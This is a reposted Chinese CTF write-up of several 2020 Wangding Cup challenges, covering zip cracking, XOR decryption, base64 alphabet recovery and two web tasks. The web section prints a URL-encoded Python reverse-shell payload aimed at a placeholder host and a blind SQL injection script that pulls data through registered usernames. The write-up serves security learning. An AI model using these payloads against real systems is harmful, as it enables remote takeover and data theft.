1. 首页
  2. 渗透测试

2020网鼎杯白虎组的部分wp

【推荐学习】暗月渗透测试培训 十多年渗透经验，体系化培训渗透测试 、高效学习渗透测试，欢迎添加微信好友aptimeok 咨询。

mOon • 2020年5月18日 pm7:30 • 渗透测试 • 阅读 3779

作者 p1ump

前言

记录下第二届网鼎杯白虎组的部分wp

Misc

签到

打开页面发现是一个游戏界面，查看源代码中的js文件，发现了一个ajax请求：

setTimeout(function () {
                if (n) {
                    return
                }
                if (e == l) {
                    var t = levelCount - 1;
                    if (t > strings.ok.length - 1) {
                        t = strings.ok.length - 1
                    }
                    if(levelCount>=7){
                        var token = prompt("please input your team Token:").trim();
                        $.ajax({
                            url: 'fate.php',
                            type: 'POST',
                            data: 'token=' + token,
                            success: function(data){
                                var data = data;
                                alert(data);
                            }
                        })
                    }
                    o.innerHTML = strings.ok[t];
                    k()
                }

找到了url：fate.php向这个页面post传递一个token值，就可以得到flag

020网鼎杯白虎组的部分wp"

hack

下载压缩包得到，压缩包中有sqlmap1.4 0day.zip 和xor。。。

020网鼎杯白虎组的部分wp"

发现文件是加密的。。尝试伪加密，发现不是未加密，，，

尝试爆破无果，唉，忽然想到会不会是明文攻击，
在网上下载一个sqlmap-1.4的文件，来进行明文攻击。。

020网鼎杯白虎组的部分wp"

得到了压缩包密码：

解压得到了0day.zip和xor文件
xor想到可以利用xortools进行爆破：

020网鼎杯白虎组的部分wp"

得到了密钥WDCTF:

尝试对xor进行解密：

#coding:utf-8

f = open('xor','rb')
w = open('xor1.png','ab')
line = f.read()
key = 'WDCTF'
# print hex(ord(line[1]))
for i in range(len(line)):

    w.write(chr(ord(line[i])^ord(key[i % 5])))

得到了解密后的文件 用winhex打开：

020网鼎杯白虎组的部分wp"

得到了压缩包的密码：qw91!25fzd$@!

解压得到flag文件MZWGCZ33MY2DMODBGU2DCLJTGJSWKLJUMQZTOLLCHAZDKLJQMI4GCMRQGU2TQNJSGN6Q====

进行base32解密:

020网鼎杯白虎组的部分wp"

hidden

打开压缩包，得到了一个图片：

winhex打开发现：

020网鼎杯白虎组的部分wp"

存在压缩包，用binwalk进行分离得到了一个压缩包：

020网鼎杯白虎组的部分wp"

进行爆破密码，成功爆破得到了密码：

020网鼎杯白虎组的部分wp"

得到了了一半的二维码，尝试修改高度

020网鼎杯白虎组的部分wp"

将43修改为85，保存文件，得到了完整的二维码：
扫描得到flag。。。

020网鼎杯白虎组的部分wp"

web

picdown

打开题目，发现

020网鼎杯白虎组的部分wp"

是一个图片下载器。。。

猜测可以下载源码：

尝试之后，得到main.py的源码：

020网鼎杯白虎组的部分wp"

main.py：

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

漏洞代码：

@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res

首先接受一个key值和SECRET_KEY相等，然后接受一个shell值，执行os.system(shell)这里可以反弹shell。

这里的SECRET_KEY是通过

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

这里读出来的，尝试读取这个/tmp/secret.txt文件，发现不能读取成功：

020网鼎杯白虎组的部分wp"

发现已经删除os.remove(SECRET_FILE),忽然想起来以前出现过类似的考点：

在 linux 系统中如果一个程序打开了一个文件没有关闭，即便从外部（上文是利用 os.remove(SECRET_FILE)）删除之后，在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd，通过这个我们即可得到被删除文件的内容。

尝试之后，在/proc/self/fd/3这里读取到SECRET_FILE

020网鼎杯白虎组的部分wp"

然后进行python反弹shell

/no_one_know_the_manager?key=reIqMCng8hfnu3wD4RDyKnO76LdgLeOYrb6DuPNLzLc=&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27

可以成功反弹shell,最终在/root/flag.txt中得到flag:

020网鼎杯白虎组的部分wp"

flag{75a9190b-44a9-4f39-ba91-950743cbc18d}

张三的网站

打开页面，发现是一个登陆页面，注册一个账号看看里面的功能：

020网鼎杯白虎组的部分wp"

登陆后发现：
020网鼎杯白虎组的部分wp"

页面只回显了用户名，忽然感觉这个题，有点熟悉的感觉了。。。

尝试注册用户名为2'+123+'，尝试登陆：

020网鼎杯白虎组的部分wp"

这不是上一届网鼎杯的原题吗？

直接拿脚本改一改：

import requests
import string
import re as r
import sys

reload(sys)
sys.setdefaultencoding("utf8")


url= "http://906482149bf841c0b701c2f92bfaaa213b708f2173aa4e0b.cloudgame1.ichunqiu.com/"


ch = '0123456789qwertyuiopasdfghjklzxcvbnm{-}'

re = requests.session()
flag = ''
for j in range(1,50):
    # payload = "0'+(select ascii(substr((database()) from  {} for {})))+'0".format(int(j),1)
    payload = "0'+(select ascii(substr((select * from flag) from  {} for {})))+'0".format(int(j),1)
    email = '{}aaaa@qq.com'.format(str(j)+'kslaml')
    url1 = url+'register.php' 
    data = dict(email = email, username = payload,password = 'aaaa')
    res = re.post(url1,data=data)


    url2 = url+'login.php'
    data = dict(email = email,password = 'aaaa')
    html = re.post(url2, data=data)
    html.encoding = 'utf-8'

    try:
        res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
        a = res[0][1:].strip()
        flag += chr(int(a))
        print flag
    except:
        pass

得到flag:

020网鼎杯白虎组的部分wp"

Crypto

b64

题目给出：

密文:uLdAuO8duojAFLEKjIgdpfGeZoELjJp9kSieuIsAjJ/LpSXDuCGduouz

泄露的密文:pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=
泄露的明文:ashlkj!@sj1223%^&*Sd4564sd879s5d12f231a46qwjkd12J;DJjl;LjL;KJ8729128713

对泄露的密文尝试base64解码，发现失败，对泄露的明文进行base64加密，发现正好和泄露的密文的长度相等。。。

pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=
YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM=

于是可以猜测是换了码表

利用我们已知明文和对应密文来推算替换的码表，

我们将已知的明文进行base64加密，然后将加密的结果和密文进行一个对比：

a= 'pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF='
b='YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM='


list_a=[]
for i in a:
    list_a.append(i)


list_b=[]
for i in b:
    list_b.append(i)


nvs = zip(list_a,list_b)


def deleteDuplicate(li):
    temp_list = list(set([str(i) for i in li]))
    li=[eval(i) for i in temp_list]
    return li

print deleteDuplicate(nvs)

得到了如下的对应关系：

[('d', 'x'), ('j', 'N'), ('8', 's'), ('B', 'i'), ('k', 'O'), ('T', 'X'), ('H', 'B'), ('F', 'M'), ('9', 't'), ('o', 'T'), ('M', 'o'), ('J', 'G'), ('W', 'q'), ('A', 'h'), ('p', 'Y'), ('Q', 'U'), ('q', 'c'), ('r', 'g'), ('u', 'Z'), ('v', 'a'), ('i', 'I'), ('D', 'k'), ('7', 'r'), ('N', 'p'), ('/', 'F'), ('K', 'l'), ('2', 'D'), ('e', 'y'), ('=', '='), ('g', '0'), ('S', 'W'), ('n', 'S'), ('Z', 'L'), ('w', 'b'), ('O', '3'), ('P', '4'), ('C', 'j'), ('3', 'd'), ('m', 'Q'), ('f', 'z'), ('t', '2'), ('L', 'm'), ('+', 'E')]

然后将密文中的字符进行替换， 对照发现还有几个字母的相对应的密文是未知的，分别是E I X s G z

然后根据，flag是uuid的性质，推测出来几位，然后进行手工验证，得到了flag

感觉也是运气比较好，尝试了几次就出来了

flag{1e3a2de5-1c02-4f4f-9b2e-a4afabdf01e6}

总结

打过网鼎杯，才知道自己有多菜了，，

大佬们tql…

还要努力呀。。。。

本文来自https://www.anquanke.com/post/id/205336，经授权后发布，本文观点不代表立场，转载请联系原作者。

赞 (3)
mOon mOon
0
网鼎杯2020朱雀组-web
« 上一篇 2020年5月18日 pm6:27
渗透的本质是信息搜集（第二季）
下一篇 » 2020年5月18日 pm8:41

相关推荐

联系我们

400-800-8888

在线咨询：点击这里给我发消息

邮件：admin@example.com

工作时间：周一至周五，9:30-18:30，节假日休息